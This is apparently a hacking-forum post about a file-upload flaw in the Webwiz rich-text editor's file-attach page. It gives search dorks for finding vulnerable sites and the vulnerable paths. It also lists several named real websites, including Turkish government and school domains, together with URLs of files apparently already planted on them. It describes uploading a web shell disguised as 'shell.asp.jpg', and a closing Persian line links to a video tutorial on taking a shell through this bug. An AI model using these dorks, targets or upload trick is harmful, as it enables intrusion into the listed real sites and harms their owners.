Webwiz Vulnerability - Shell Upload RFU

[Mr.XpR]

[align=LEFT][php]


:: RTE Popup File attach :: RFu

Dorks :

inurl:rte/my_documents/my_files
inurl:/my_documents/my_files/

Exploit:

site.com/rte/RTE_popup_file_atch.asp
site.com/admin/RTE_popup_file_atch.asp
Site:- http://www.billkonigsberg.com


http://www.billkonigsberg.com/RTE_popup_file_atch.asp
http://www.yourshoppingnetwork.com/retailer/LN_Newsletter/RTE_popup_file_atch.asp
http://www.petder.org.tr/admin/RTE_popup_file_atch.asp
http://www.ullerslev-gaf.dk/admin//RTE_popup_file_atch.asp

Demo

shell.asp.jpg

upload & run (70 %)

http://www.petder.org.tr/admin/my_documents/my_files/8BE_X7R.html
http://www.ullerslev-gaf.dk/admin/my_documents/my_files/2F9_X7R.html
http://www.toymar.com.tr/admin/my_documents/my_files/4FE_X7R.html
http://www.winstravel.com.my/my_documents/my_files/9DB_X7R.html
http://www.vdm.com.tr/tr/admin/my_documents/my_files/9AA_X7R.html
http://www.ekaflor.de/data/my_documents/8ZEZ5_X7R.html
http://www.cemberlitasanadolu.k12.tr/yazimaraclari/my_documents/my_files/FZF_X7R.html
http://www.vdm.com.tr/tr/admin/my_documents/my_files/X7R1.html
http://www.cevreormanegitimi.cob.gov.tr/haber/yazimaraclari/my_documents/my_files/9BZ_X7R.html
http://www.osmanelicpl.k12.tr/qdmin/yazimaraclari/my_documents/my_files/B49_X7R.html
http://tokat.tokatsaglik.gov.tr/admin_panel/yazimaraclari/my_documents/my_files/E2A_X7R.html
http://www.gazidh.gov.tr/fwpanel/my_documents/my_files/B22_X7R.html
http://www.cevreormanegitimi.cob.gov.tr/haber/yazimaraclari/my_documents/my_files/58A_X7R.html


[/php]

[align=RIGHT] آموزش تصویری نحوه شل گیری با این باگ در :

[align=LEFT][php]

http://iranhack.com/acc/thread-219.html

[/php][/align][/align][/align]